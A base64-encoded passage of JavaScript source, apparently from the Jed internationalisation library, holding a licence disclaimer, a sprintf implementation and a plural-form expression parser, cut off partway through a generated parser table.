GSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRSBBUkVcbiAgIERJU0NMQUlNRUQuIElOIE5PIEVWRU5UIFNIQUxMIEFsZXhhbmRydSBNYXJhc3RlYW51IEJFIExJQUJMRSBGT1IgQU5ZXG4gICBESVJFQ1QsIElORElSRUNULCBJTkNJREVOVEFMLCBTUEVDSUFMLCBFWEVNUExBUlksIE9SIENPTlNFUVVFTlRJQUwgREFNQUdFU1xuICAgKElOQ0xVRElORywgQlVUIE5PVCBMSU1JVEVEIFRPLCBQUk9DVVJFTUVOVCBPRiBTVUJTVElUVVRFIEdPT0RTIE9SIFNFUlZJQ0VTO1xuICAgTE9TUyBPRiBVU0UsIERBVEEsIE9SIFBST0ZJVFM7IE9SIEJVU0lORVNTIElOVEVSUlVQVElPTikgSE9XRVZFUiBDQVVTRUQgQU5EXG4gICBPTiBBTlkgVEhFT1JZIE9GIExJQUJJTElUWSwgV0hFVEhFUiBJTiBDT05UUkFDVCwgU1RSSUNUIExJQUJJTElUWSwgT1IgVE9SVFxuICAgKElOQ0xVRElORyBORUdMSUdFTkNFIE9SIE9USEVSV0lTRSkgQVJJU0lORyBJTiBBTlkgV0FZIE9VVCBPRiBUSEUgVVNFIE9GIFRISVNcbiAgIFNPRlRXQVJFLCBFVkVOIElGIEFEVklTRUQgT0YgVEhFIFBPU1NJQklMSVRZIE9GIFNVQ0ggREFNQUdFLlxuICAqL1xuICB2YXIgc3ByaW50ZiA9IChmdW5jdGlvbigpIHtcbiAgICBmdW5jdGlvbiBnZXRfdHlwZSh2YXJpYWJsZSkge1xuICAgICAgcmV0dXJuIE9iamVjdC5wcm90b3R5cGUudG9TdHJpbmcuY2FsbCh2YXJpYWJsZSkuc2xpY2UoOCwgLTEpLnRvTG93ZXJDYXNlKCk7XG4gICAgfVxuICAgIGZ1bmN0aW9uIHN0cl9yZXBlYXQoaW5wdXQsIG11bHRpcGxpZXIpIHtcbiAgICAgIGZvciAodmFyIG91dHB1dCA9IFtdOyBtdWx0aXBsaWVyID4gMDsgb3V0cHV0Wy0tbXVsdGlwbGllcl0gPSBpbnB1dCkgey8qIGRvIG5vdGhpbmcgKi99XG4gICAgICByZXR1cm4gb3V0cHV0LmpvaW4oJycpO1xuICAgIH1cblxuICAgIHZhciBzdHJfZm9ybWF0ID0gZnVuY3Rpb24oKSB7XG4gICAgICBpZiAoIXN0cl9mb3JtYXQuY2FjaGUuaGFzT3duUHJvcGVydHkoYXJndW1lbnRzWzBdKSkge1xuICAgICAgICBzdHJfZm9ybWF0LmNhY2hlW2FyZ3VtZW50c1swXV0gPSBzdHJfZm9ybWF0LnBhcnNlKGFyZ3VtZW50c1swXSk7XG4gICAgICB9XG4gICAgICByZXR1cm4gc3RyX2Zvcm1hdC5mb3JtYXQuY2FsbChudWxsLCBzdHJfZm9ybWF0LmNhY2hlW2FyZ3VtZW50c1swXV0sIGFyZ3VtZW50cyk7XG4gICAgfTtcblxuICAgIHN0cl9mb3JtYXQuZm9ybWF0ID0gZnVuY3Rpb24ocGFyc2VfdHJlZSwgYXJndikge1xuICAgICAgdmFyIGN1cnNvciA9IDEsIHRyZWVfbGVuZ3RoID0gcGFyc2VfdHJlZS5sZW5ndGgsIG5vZGVfdHlwZSA9ICcnLCBhcmcsIG91dHB1dCA9IFtdLCBpLCBrLCBtYXRjaCwgcGFkLCBwYWRfY2hhcmFjdGVyLCBwYWRfbGVuZ3RoO1xuICAgICAgZm9yIChpID0gMDsgaSA8IHRyZWVfbGVuZ3RoOyBpKyspIHtcbiAgICAgICAgbm9kZV90eXBlID0gZ2V0X3R5cGUocGFyc2VfdHJlZVtpXSk7XG4gICAgICAgIGlmIChub2RlX3R5cGUgPT09ICdzdHJpbmcnKSB7XG4gICAgICAgICAgb3V0cHV0LnB1c2gocGFyc2VfdHJlZVtpXSk7XG4gICAgICAgIH1cbiAgICAgICAgZWxzZSBpZiAobm9kZV90eXBlID09PSAnYXJyYXknKSB7XG4gICAgICAgICAgbWF0Y2ggPSBwYXJzZV90cmVlW2ldOyAvLyBjb252ZW5pZW5jZSBwdXJwb3NlcyBvbmx5XG4gICAgICAgICAgaWYgKG1hdGNoWzJdKSB7IC8vIGtleXdvcmQgYXJndW1lbnRcbiAgICAgICAgICAgIGFyZyA9IGFyZ3ZbY3Vyc29yXTtcbiAgICAgICAgICAgIGZvciAoayA9IDA7IGsgPCBtYXRjaFsyXS5sZW5ndGg7IGsrKykge1xuICAgICAgICAgICAgICBpZiAoIWFyZy5oYXNPd25Qcm9wZXJ0eShtYXRjaFsyXVtrXSkpIHtcbiAgICAgICAgICAgICAgICB0aHJvdyhzcHJpbnRmKCdbc3ByaW50Zl0gcHJvcGVydHkgXCIlc1wiIGRvZXMgbm90IGV4aXN0JywgbWF0Y2hbMl1ba10pKTtcbiAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICBhcmcgPSBhcmdbbWF0Y2hbMl1ba11dO1xuICAgICAgICAgICAgfVxuICAgICAgICAgIH1cbiAgICAgICAgICBlbHNlIGlmIChtYXRjaFsxXSkgeyAvLyBwb3NpdGlvbmFsIGFyZ3VtZW50IChleHBsaWNpdClcbiAgICAgICAgICAgIGFyZyA9IGFyZ3ZbbWF0Y2hbMV1dO1xuICAgICAgICAgIH1cbiAgICAgICAgICBlbHNlIHsgLy8gcG9zaXRpb25hbCBhcmd1bWVudCAoaW1wbGljaXQpXG4gICAgICAgICAgICBhcmcgPSBhcmd2W2N1cnNvcisrXTtcbiAgICAgICAgICB9XG5cbiAgICAgICAgICBpZiAoL1tec10vLnRlc3QobWF0Y2hbOF0pICYmIChnZXRfdHlwZShhcmcpICE9ICdudW1iZXInKSkge1xuICAgICAgICAgICAgdGhyb3coc3ByaW50ZignW3NwcmludGZdIGV4cGVjdGluZyBudW1iZXIgYnV0IGZvdW5kICVzJywgZ2V0X3R5cGUoYXJnKSkpO1xuICAgICAgICAgIH1cblxuICAgICAgICAgIC8vIEplZCBFRElUXG4gICAgICAgICAgaWYgKCB0eXBlb2YgYXJnID09ICd1bmRlZmluZWQnIHx8IGFyZyA9PT0gbnVsbCApIHtcbiAgICAgICAgICAgIGFyZyA9ICcnO1xuICAgICAgICAgIH1cbiAgICAgICAgICAvLyBKZWQgRURJVFxuXG4gICAgICAgICAgc3dpdGNoIChtYXRjaFs4XSkge1xuICAgICAgICAgICAgY2FzZSAnYic6IGFyZyA9IGFyZy50b1N0cmluZygyKTsgYnJlYWs7XG4gICAgICAgICAgICBjYXNlICdjJzogYXJnID0gU3RyaW5nLmZyb21DaGFyQ29kZShhcmcpOyBicmVhaztcbiAgICAgICAgICAgIGNhc2UgJ2QnOiBhcmcgPSBwYXJzZUludChhcmcsIDEwKTsgYnJlYWs7XG4gICAgICAgICAgICBjYXNlICdlJzogYXJnID0gbWF0Y2hbN10gPyBhcmcudG9FeHBvbmVudGlhbChtYXRjaFs3XSkgOiBhcmcudG9FeHBvbmVudGlhbCgpOyBicmVhaztcbiAgICAgICAgICAgIGNhc2UgJ2YnOiBhcmcgPSBtYXRjaFs3XSA/IHBhcnNlRmxvYXQoYXJnKS50b0ZpeGVkKG1hdGNoWzddKSA6IHBhcnNlRmxvYXQoYXJnKTsgYnJlYWs7XG4gICAgICAgICAgICBjYXNlICdvJzogYXJnID0gYXJnLnRvU3RyaW5nKDgpOyBicmVhaztcbiAgICAgICAgICAgIGNhc2UgJ3MnOiBhcmcgPSAoKGFyZyA9IFN0cmluZyhhcmcpKSAmJiBtYXRjaFs3XSA/IGFyZy5zdWJzdHJpbmcoMCwgbWF0Y2hbN10pIDogYXJnKTsgYnJlYWs7XG4gICAgICAgICAgICBjYXNlICd1JzogYXJnID0gTWF0aC5hYnMoYXJnKTsgYnJlYWs7XG4gICAgICAgICAgICBjYXNlICd4JzogYXJnID0gYXJnLnRvU3RyaW5nKDE2KTsgYnJlYWs7XG4gICAgICAgICAgICBjYXNlICdYJzogYXJnID0gYXJnLnRvU3RyaW5nKDE2KS50b1VwcGVyQ2FzZSgpOyBicmVhaztcbiAgICAgICAgICB9XG4gICAgICAgICAgYXJnID0gKC9bZGVmXS8udGVzdChtYXRjaFs4XSkgJiYgbWF0Y2hbM10gJiYgYXJnID49IDAgPyAnKycrIGFyZyA6IGFyZyk7XG4gICAgICAgICAgcGFkX2NoYXJhY3RlciA9IG1hdGNoWzRdID8gbWF0Y2hbNF0gPT0gJzAnID8gJzAnIDogbWF0Y2hbNF0uY2hhckF0KDEpIDogJyAnO1xuICAgICAgICAgIHBhZF9sZW5ndGggPSBtYXRjaFs2XSAtIFN0cmluZyhhcmcpLmxlbmd0aDtcbiAgICAgICAgICBwYWQgPSBtYXRjaFs2XSA/IHN0cl9yZXBlYXQocGFkX2NoYXJhY3RlciwgcGFkX2xlbmd0aCkgOiAnJztcbiAgICAgICAgICBvdXRwdXQucHVzaChtYXRjaFs1XSA/IGFyZyArIHBhZCA6IHBhZCArIGFyZyk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIHJldHVybiBvdXRwdXQuam9pbignJyk7XG4gICAgfTtcblxuICAgIHN0cl9mb3JtYXQuY2FjaGUgPSB7fTtcblxuICAgIHN0cl9mb3JtYXQucGFyc2UgPSBmdW5jdGlvbihmbXQpIHtcbiAgICAgIHZhciBfZm10ID0gZm10LCBtYXRjaCA9IFtdLCBwYXJzZV90cmVlID0gW10sIGFyZ19uYW1lcyA9IDA7XG4gICAgICB3aGlsZSAoX2ZtdCkge1xuICAgICAgICBpZiAoKG1hdGNoID0gL15bXlxceDI1XSsvLmV4ZWMoX2ZtdCkpICE9PSBudWxsKSB7XG4gICAgICAgICAgcGFyc2VfdHJlZS5wdXNoKG1hdGNoWzBdKTtcbiAgICAgICAgfVxuICAgICAgICBlbHNlIGlmICgobWF0Y2ggPSAvXlxceDI1ezJ9Ly5leGVjKF9mbXQpKSAhPT0gbnVsbCkge1xuICAgICAgICAgIHBhcnNlX3RyZWUucHVzaCgnJScpO1xuICAgICAgICB9XG4gICAgICAgIGVsc2UgaWYgKChtYXRjaCA9IC9eXFx4MjUoPzooWzEtOV1cXGQqKVxcJHxcXCgoW15cXCldKylcXCkpPyhcXCspPygwfCdbXiRdKT8oLSk/KFxcZCspPyg/OlxcLihcXGQrKSk/KFtiLWZvc3V4WF0pLy5leGVjKF9mbXQpKSAhPT0gbnVsbCkge1xuICAgICAgICAgIGlmIChtYXRjaFsyXSkge1xuICAgICAgICAgICAgYXJnX25hbWVzIHw9IDE7XG4gICAgICAgICAgICB2YXIgZmllbGRfbGlzdCA9IFtdLCByZXBsYWNlbWVudF9maWVsZCA9IG1hdGNoWzJdLCBmaWVsZF9tYXRjaCA9IFtdO1xuICAgICAgICAgICAgaWYgKChmaWVsZF9tYXRjaCA9IC9eKFthLXpfXVthLXpfXFxkXSopL2kuZXhlYyhyZXBsYWNlbWVudF9maWVsZCkpICE9PSBudWxsKSB7XG4gICAgICAgICAgICAgIGZpZWxkX2xpc3QucHVzaChmaWVsZF9tYXRjaFsxXSk7XG4gICAgICAgICAgICAgIHdoaWxlICgocmVwbGFjZW1lbnRfZmllbGQgPSByZXBsYWNlbWVudF9maWVsZC5zdWJzdHJpbmcoZmllbGRfbWF0Y2hbMF0ubGVuZ3RoKSkgIT09ICcnKSB7XG4gICAgICAgICAgICAgICAgaWYgKChmaWVsZF9tYXRjaCA9IC9eXFwuKFthLXpfXVthLXpfXFxkXSopL2kuZXhlYyhyZXBsYWNlbWVudF9maWVsZCkpICE9PSBudWxsKSB7XG4gICAgICAgICAgICAgICAgICBmaWVsZF9saXN0LnB1c2goZmllbGRfbWF0Y2hbMV0pO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBlbHNlIGlmICgoZmllbGRfbWF0Y2ggPSAvXlxcWyhcXGQrKVxcXS8uZXhlYyhyZXBsYWNlbWVudF9maWVsZCkpICE9PSBudWxsKSB7XG4gICAgICAgICAgICAgICAgICBmaWVsZF9saXN0LnB1c2goZmllbGRfbWF0Y2hbMV0pO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBlbHNlIHtcbiAgICAgICAgICAgICAgICAgIHRocm93KCdbc3ByaW50Zl0gaHVoPycpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZWxzZSB7XG4gICAgICAgICAgICAgIHRocm93KCdbc3ByaW50Zl0gaHVoPycpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgbWF0Y2hbMl0gPSBmaWVsZF9saXN0O1xuICAgICAgICAgIH1cbiAgICAgICAgICBlbHNlIHtcbiAgICAgICAgICAgIGFyZ19uYW1lcyB8PSAyO1xuICAgICAgICAgIH1cbiAgICAgICAgICBpZiAoYXJnX25hbWVzID09PSAzKSB7XG4gICAgICAgICAgICB0aHJvdygnW3NwcmludGZdIG1peGluZyBwb3NpdGlvbmFsIGFuZCBuYW1lZCBwbGFjZWhvbGRlcnMgaXMgbm90ICh5ZXQpIHN1cHBvcnRlZCcpO1xuICAgICAgICAgIH1cbiAgICAgICAgICBwYXJzZV90cmVlLnB1c2gobWF0Y2gpO1xuICAgICAgICB9XG4gICAgICAgIGVsc2Uge1xuICAgICAgICAgIHRocm93KCdbc3ByaW50Zl0gaHVoPycpO1xuICAgICAgICB9XG4gICAgICAgIF9mbXQgPSBfZm10LnN1YnN0cmluZyhtYXRjaFswXS5sZW5ndGgpO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHBhcnNlX3RyZWU7XG4gICAgfTtcblxuICAgIHJldHVybiBzdHJfZm9ybWF0O1xuICB9KSgpO1xuXG4gIHZhciB2c3ByaW50ZiA9IGZ1bmN0aW9uKGZtdCwgYXJndikge1xuICAgIGFyZ3YudW5zaGlmdChmbXQpO1xuICAgIHJldHVybiBzcHJpbnRmLmFwcGx5KG51bGwsIGFyZ3YpO1xuICB9O1xuXG4gIEplZC5wYXJzZV9wbHVyYWwgPSBmdW5jdGlvbiAoIHBsdXJhbF9mb3JtcywgbiApIHtcbiAgICBwbHVyYWxfZm9ybXMgPSBwbHVyYWxfZm9ybXMucmVwbGFjZSgvbi9nLCBuKTtcbiAgICByZXR1cm4gSmVkLnBhcnNlX2V4cHJlc3Npb24ocGx1cmFsX2Zvcm1zKTtcbiAgfTtcblxuICBKZWQuc3ByaW50ZiA9IGZ1bmN0aW9uICggZm10LCBhcmdzICkge1xuICAgIGlmICgge30udG9TdHJpbmcuY2FsbCggYXJncyApID09ICdbb2JqZWN0IEFycmF5XScgKSB7XG4gICAgICByZXR1cm4gdnNwcmludGYoIGZtdCwgW10uc2xpY2UuY2FsbChhcmdzKSApO1xuICAgIH1cbiAgICByZXR1cm4gc3ByaW50Zi5hcHBseSh0aGlzLCBbXS5zbGljZS5jYWxsKGFyZ3VtZW50cykgKTtcbiAgfTtcblxuICBKZWQucHJvdG90eXBlLnNwcmludGYgPSBmdW5jdGlvbiAoKSB7XG4gICAgcmV0dXJuIEplZC5zcHJpbnRmLmFwcGx5KHRoaXMsIGFyZ3VtZW50cyk7XG4gIH07XG4gIC8vIEVORCBzcHJpbnRmIEltcGxlbWVudGF0aW9uXG5cbiAgLy8gU3RhcnQgdGhlIFBsdXJhbCBmb3JtcyBzZWN0aW9uXG4gIC8vIFRoaXMgaXMgYSBmdWxsIHBsdXJhbCBmb3JtIGV4cHJlc3Npb24gcGFyc2VyLiBJdCBpcyB1c2VkIHRvIGF2b2lkXG4gIC8vIHJ1bm5pbmcgJ2V2YWwnIG9yICduZXcgRnVuY3Rpb24nIGRpcmVjdGx5IGFnYWluc3QgdGhlIHBsdXJhbFxuICAvLyBmb3Jtcy5cbiAgLy9cbiAgLy8gVGhpcyBjYW4gYmUgaW1wb3J0YW50IGlmIHlvdSBnZXQgdHJhbnNsYXRpb25zIGRvbmUgdGhyb3VnaCBhIDNyZFxuICAvLyBwYXJ0eSB2ZW5kb3IuIEkgZW5jb3VyYWdlIHlvdSB0byB1c2UgdGhpcyBpbnN0ZWFkLCBob3dldmVyLCBJXG4gIC8vIGFsc28gd2lsbCBwcm92aWRlIGEgJ3ByZWNvbXBpbGVyJyB0aGF0IHlvdSBjYW4gdXNlIGF0IGJ1aWxkIHRpbWVcbiAgLy8gdG8gb3V0cHV0IHZhbGlkL3NhZmUgZnVuY3Rpb24gcmVwcmVzZW50YXRpb25zIG9mIHRoZSBwbHVyYWwgZm9ybVxuICAvLyBleHByZXNzaW9ucy4gVGhpcyBtZWFucyB5b3UgY2FuIGJ1aWxkIHRoaXMgY29kZSBvdXQgZm9yIHRoZSBtb3N0XG4gIC8vIHBhcnQuXG4gIEplZC5QRiA9IHt9O1xuXG4gIEplZC5QRi5wYXJzZSA9IGZ1bmN0aW9uICggcCApIHtcbiAgICB2YXIgcGx1cmFsX3N0ciA9IEplZC5QRi5leHRyYWN0UGx1cmFsRXhwciggcCApO1xuICAgIHJldHVybiBKZWQuUEYucGFyc2VyLnBhcnNlLmNhbGwoSmVkLlBGLnBhcnNlciwgcGx1cmFsX3N0cik7XG4gIH07XG5cbiAgSmVkLlBGLmNvbXBpbGUgPSBmdW5jdGlvbiAoIHAgKSB7XG4gICAgLy8gSGFuZGxlIHRydWVzIGFuZCBmYWxzZXMgYXMgMCBhbmQgMVxuICAgIGZ1bmN0aW9uIGltcGx5KCB2YWwgKSB7XG4gICAgICByZXR1cm4gKHZhbCA9PT0gdHJ1ZSA/IDEgOiB2YWwgPyB2YWwgOiAwKTtcbiAgICB9XG5cbiAgICB2YXIgYXN0ID0gSmVkLlBGLnBhcnNlKCBwICk7XG4gICAgcmV0dXJuIGZ1bmN0aW9uICggbiApIHtcbiAgICAgIHJldHVybiBpbXBseSggSmVkLlBGLmludGVycHJldGVyKCBhc3QgKSggbiApICk7XG4gICAgfTtcbiAgfTtcblxuICBKZWQuUEYuaW50ZXJwcmV0ZXIgPSBmdW5jdGlvbiAoIGFzdCApIHtcbiAgICByZXR1cm4gZnVuY3Rpb24gKCBuICkge1xuICAgICAgdmFyIHJlcztcbiAgICAgIHN3aXRjaCAoIGFzdC50eXBlICkge1xuICAgICAgICBjYXNlICdHUk9VUCc6XG4gICAgICAgICAgcmV0dXJuIEplZC5QRi5pbnRlcnByZXRlciggYXN0LmV4cHIgKSggbiApO1xuICAgICAgICBjYXNlICdURVJOQVJZJzpcbiAgICAgICAgICBpZiAoIEplZC5QRi5pbnRlcnByZXRlciggYXN0LmV4cHIgKSggbiApICkge1xuICAgICAgICAgICAgcmV0dXJuIEplZC5QRi5pbnRlcnByZXRlciggYXN0LnRydXRoeSApKCBuICk7XG4gICAgICAgICAgfVxuICAgICAgICAgIHJldHVybiBKZWQuUEYuaW50ZXJwcmV0ZXIoIGFzdC5mYWxzZXkgKSggbiApO1xuICAgICAgICBjYXNlICdPUic6XG4gICAgICAgICAgcmV0dXJuIEplZC5QRi5pbnRlcnByZXRlciggYXN0LmxlZnQgKSggbiApIHx8IEplZC5QRi5pbnRlcnByZXRlciggYXN0LnJpZ2h0ICkoIG4gKTtcbiAgICAgICAgY2FzZSAnQU5EJzpcbiAgICAgICAgICByZXR1cm4gSmVkLlBGLmludGVycHJldGVyKCBhc3QubGVmdCApKCBuICkgJiYgSmVkLlBGLmludGVycHJldGVyKCBhc3QucmlnaHQgKSggbiApO1xuICAgICAgICBjYXNlICdMVCc6XG4gICAgICAgICAgcmV0dXJuIEplZC5QRi5pbnRlcnByZXRlciggYXN0LmxlZnQgKSggbiApIDwgSmVkLlBGLmludGVycHJldGVyKCBhc3QucmlnaHQgKSggbiApO1xuICAgICAgICBjYXNlICdHVCc6XG4gICAgICAgICAgcmV0dXJuIEplZC5QRi5pbnRlcnByZXRlciggYXN0LmxlZnQgKSggbiApID4gSmVkLlBGLmludGVycHJldGVyKCBhc3QucmlnaHQgKSggbiApO1xuICAgICAgICBjYXNlICdMVEUnOlxuICAgICAgICAgIHJldHVybiBKZWQuUEYuaW50ZXJwcmV0ZXIoIGFzdC5sZWZ0ICkoIG4gKSA8PSBKZWQuUEYuaW50ZXJwcmV0ZXIoIGFzdC5yaWdodCApKCBuICk7XG4gICAgICAgIGNhc2UgJ0dURSc6XG4gICAgICAgICAgcmV0dXJuIEplZC5QRi5pbnRlcnByZXRlciggYXN0LmxlZnQgKSggbiApID49IEplZC5QRi5pbnRlcnByZXRlciggYXN0LnJpZ2h0ICkoIG4gKTtcbiAgICAgICAgY2FzZSAnRVEnOlxuICAgICAgICAgIHJldHVybiBKZWQuUEYuaW50ZXJwcmV0ZXIoIGFzdC5sZWZ0ICkoIG4gKSA9PSBKZWQuUEYuaW50ZXJwcmV0ZXIoIGFzdC5yaWdodCApKCBuICk7XG4gICAgICAgIGNhc2UgJ05FUSc6XG4gICAgICAgICAgcmV0dXJuIEplZC5QRi5pbnRlcnByZXRlciggYXN0LmxlZnQgKSggbiApICE9IEplZC5QRi5pbnRlcnByZXRlciggYXN0LnJpZ2h0ICkoIG4gKTtcbiAgICAgICAgY2FzZSAnTU9EJzpcbiAgICAgICAgICByZXR1cm4gSmVkLlBGLmludGVycHJldGVyKCBhc3QubGVmdCApKCBuICkgJSBKZWQuUEYuaW50ZXJwcmV0ZXIoIGFzdC5yaWdodCApKCBuICk7XG4gICAgICAgIGNhc2UgJ1ZBUic6XG4gICAgICAgICAgcmV0dXJuIG47XG4gICAgICAgIGNhc2UgJ05VTSc6XG4gICAgICAgICAgcmV0dXJuIGFzdC52YWw7XG4gICAgICAgIGRlZmF1bHQ6XG4gICAgICAgICAgdGhyb3cgbmV3IEVycm9yKFwiSW52YWxpZCBUb2tlbiBmb3VuZC5cIik7XG4gICAgICB9XG4gICAgfTtcbiAgfTtcblxuICBKZWQuUEYuZXh0cmFjdFBsdXJhbEV4cHIgPSBmdW5jdGlvbiAoIHAgKSB7XG4gICAgLy8gdHJpbSBmaXJzdFxuICAgIHAgPSBwLnJlcGxhY2UoL15cXHNcXHMqLywgJycpLnJlcGxhY2UoL1xcc1xccyokLywgJycpO1xuXG4gICAgaWYgKCEgLztcXHMqJC8udGVzdChwKSkge1xuICAgICAgcCA9IHAuY29uY2F0KCc7Jyk7XG4gICAgfVxuXG4gICAgdmFyIG5wbHVyYWxzX3JlID0gL25wbHVyYWxzXFw9KFxcZCspOy8sXG4gICAgICAgIHBsdXJhbF9yZSA9IC9wbHVyYWxcXD0oLiopOy8sXG4gICAgICAgIG5wbHVyYWxzX21hdGNoZXMgPSBwLm1hdGNoKCBucGx1cmFsc19yZSApLFxuICAgICAgICByZXMgPSB7fSxcbiAgICAgICAgcGx1cmFsX21hdGNoZXM7XG5cbiAgICAvLyBGaW5kIHRoZSBucGx1cmFscyBudW1iZXJcbiAgICBpZiAoIG5wbHVyYWxzX21hdGNoZXMubGVuZ3RoID4gMSApIHtcbiAgICAgIHJlcy5ucGx1cmFscyA9IG5wbHVyYWxzX21hdGNoZXNbMV07XG4gICAgfVxuICAgIGVsc2Uge1xuICAgICAgdGhyb3cgbmV3IEVycm9yKCducGx1cmFscyBub3QgZm91bmQgaW4gcGx1cmFsX2Zvcm1zIHN0cmluZzogJyArIHAgKTtcbiAgICB9XG5cbiAgICAvLyByZW1vdmUgdGhhdCBkYXRhIHRvIGdldCB0byB0aGUgZm9ybXVsYVxuICAgIHAgPSBwLnJlcGxhY2UoIG5wbHVyYWxzX3JlLCBcIlwiICk7XG4gICAgcGx1cmFsX21hdGNoZXMgPSBwLm1hdGNoKCBwbHVyYWxfcmUgKTtcblxuICAgIGlmICghKCBwbHVyYWxfbWF0Y2hlcyAmJiBwbHVyYWxfbWF0Y2hlcy5sZW5ndGggPiAxICkgKSB7XG4gICAgICB0aHJvdyBuZXcgRXJyb3IoJ2BwbHVyYWxgIGV4cHJlc3Npb24gbm90IGZvdW5kOiAnICsgcCk7XG4gICAgfVxuICAgIHJldHVybiBwbHVyYWxfbWF0Y2hlc1sgMSBdO1xuICB9O1xuXG4gIC8qIEppc29uIGdlbmVyYXRlZCBwYXJzZXIgKi9cbiAgSmVkLlBGLnBhcnNlciA9IChmdW5jdGlvbigpe1xuXG52YXIgcGFyc2VyID0ge3RyYWNlOiBmdW5jdGlvbiB0cmFjZSgpIHsgfSxcbnl5OiB7fSxcbnN5bWJvbHNfOiB7XCJlcnJvclwiOjIsXCJleHByZXNzaW9uc1wiOjMsXCJlXCI6NCxcIkVPRlwiOjUsXCI/XCI6NixcIjpcIjo3LFwifHxcIjo4LFwiJiZcIjo5LFwiPFwiOjEwLFwiPD1cIjoxMSxcIj5cIjoxMixcIj49XCI6MTMsXCIhPVwiOjE0LFwiPT1cIjoxNSxcIiVcIjoxNixcIihcIjoxNyxcIilcIjoxOCxcIm5cIjoxOSxcIk5VTUJFUlwiOjIwLFwiJGFjY2VwdFwiOjAsXCIkZW5kXCI6MX0sXG50ZXJtaW5hbHNfOiB7MjpcImVycm9yXCIsNTpcIkVPRlwiLDY6XCI/XCIsNzpcIjpcIiw4OlwifHxcIiw5OlwiJiZcIiwxMDpcIjxcIiwxMTpcIjw9XCIsMTI6XCI+XCIsMTM6XCI+PVwiLDE0OlwiIT1cIiwxNTpcIj09XCIsMTY6XCIlXCIsMTc6XCIoXCIsMTg6XCIpXCIsMTk6XCJuXCIsMjA6XCJOVU1CRVJcIn0sXG5wcm9kdWN0aW9uc186IFswLFszLDJdLFs0LDVdLFs0LDNdLFs0LDNdLFs0LDNdLFs0LDNdLFs0LDNdLFs0LDNdLFs0LDNdLFs0LDNdLFs0LDNdLFs0LDNdLFs0LDFdLFs0LDFdXSxcbnBlcmZvcm1BY3Rpb246IGZ1bmN0aW9uIGFub255bW91cyh5eXRleHQseXlsZW5nLHl5bGluZW5vLHl5LHl5c3RhdGUsJCQsXyQpIHtcblxudmFyICQwID0gJCQubGVuZ3RoIC0gMTtcbnN3aXRjaCAoeXlzdGF0ZSkge1xuY2FzZSAxOiByZXR1cm4geyB0eXBlIDogJ0dST1VQJywgZXhwcjogJCRbJDAtMV0gfTtcbmJyZWFrO1xuY2FzZSAyOnRoaXMuJCA9IHsgdHlwZTogJ1RFUk5BUlknLCBleHByOiAkJFskMC00XSwgdHJ1dGh5IDogJCRbJDAtMl0sIGZhbHNleTogJCRbJDBdIH07XG5icmVhaztcbmNhc2UgMzp0aGlzLiQgPSB7IHR5cGU6IFwiT1JcIiwgbGVmdDogJCRbJDAtMl0sIHJpZ2h0OiAkJFskMF0gfTtcbmJyZWFrO1xuY2FzZSA0OnRoaXMuJCA9IHsgdHlwZTogXCJBTkRcIiwgbGVmdDogJCRbJDAtMl0sIHJpZ2h0OiAkJFskMF0gfTtcbmJyZWFrO1xuY2FzZSA1OnRoaXMuJCA9IHsgdHlwZTogJ0xUJywgbGVmdDogJCRbJDAtMl0sIHJpZ2h0OiAkJFskMF0gfTtcbmJyZWFrO1xuY2FzZSA2OnRoaXMuJCA9IHsgdHlwZTogJ0xURScsIGxlZnQ6ICQkWyQwLTJdLCByaWdodDogJCRbJDBdIH07XG5icmVhaztcbmNhc2UgNzp0aGlzLiQgPSB7IHR5cGU6ICdHVCcsIGxlZnQ6ICQkWyQwLTJdLCByaWdodDogJCRbJDBdIH07XG5icmVhaztcbmNhc2UgODp0aGlzLiQgPSB7IHR5cGU6ICdHVEUnLCBsZWZ0OiAkJFskMC0yXSwgcmlnaHQ6ICQkWyQwXSB9O1xuYnJlYWs7XG5jYXNlIDk6dGhpcy4kID0geyB0eXBlOiAnTkVRJywgbGVmdDogJCRbJDAtMl0sIHJpZ2h0OiAkJFskMF0gfTtcbmJyZWFrO1xuY2FzZSAxMDp0aGlzLiQgPSB7IHR5cGU6ICdFUScsIGxlZnQ6ICQkWyQwLTJdLCByaWdodDogJCRbJDBdIH07XG5icmVhaztcbmNhc2UgMTE6dGhpcy4kID0geyB0eXBlOiAnTU9EJywgbGVmdDogJCRbJDAtMl0sIHJpZ2h0OiAkJFskMF0gfTtcbmJyZWFrO1xuY2FzZSAxMjp0aGlzLiQgPSB7IHR5cGU6ICdHUk9VUCcsIGV4cHI6ICQkWyQwLTFdIH07XG5icmVhaztcbmNhc2UgMTM6dGhpcy4kID0geyB0eXBlOiAnVkFSJyB9O1xuYnJlYWs7XG5jYXNlIDE0OnRoaXMuJCA9IHsgdHlwZTogJ05VTScsIHZhbDogTnVtYmVyKHl5dGV4dCkgfTtcbmJyZWFrO1xufVxufSxcbnRhYmxlOiBbezM6MSw0OjIsMTc6WzEsM10sMTk6WzEsNF0sMjA6WzEsNV19LHsxOlszXX0sezU6WzEsNl0sNjpbMSw3XSw4OlsxLDhdLDk6WzEsOV0sMTA6WzEsMTBdLDExOlsxLDExXSwxMjpbMSwxMl0sMTM6WzEsMTNdLDE0OlsxLDE0XSwxNTpbMSwxNV0sMTY6WzEsMTZdfSx7NDoxNywxNzpbMSwzXSwxOTpbMSw0XSwyMDpbMSw1XX0sezU6WzIsMTNdLDY6WzIsMTNdLDc6WzIsMTNdLDg6WzIsMTNdLDk6WzIsMTNdLDEwOlsyLDEzXSwxMTpbMiwxM10sMTI6WzIsMTNdLDEzOlsyLDEzXSwxNDpbMiwxM10sMTU6WzIsMTNdLDE2OlsyLDEzXSwxODpbMiwxM119LHs1OlsyLDE0XSw2OlsyLDE0XSw3OlsyLDE0XSw4OlsyLDE0XSw5OlsyLDE0XSwxMDpbMiwxNF0sMTE6WzIsMTRdLDEyOlsyLDE0XSwxMzpbMiwxNF0sMTQ6WzIsMTRdLDE1OlsyLDE0XSwxNjpbMiwxNF0sMTg6WzIsMTRdfSx7MTpbMiwxXX0sezQ6MTgsMTc6WzEsM10sMTk6WzEsNF0sMjA6WzEsNV19LHs0OjE5LDE3OlsxLDNdLDE5OlsxL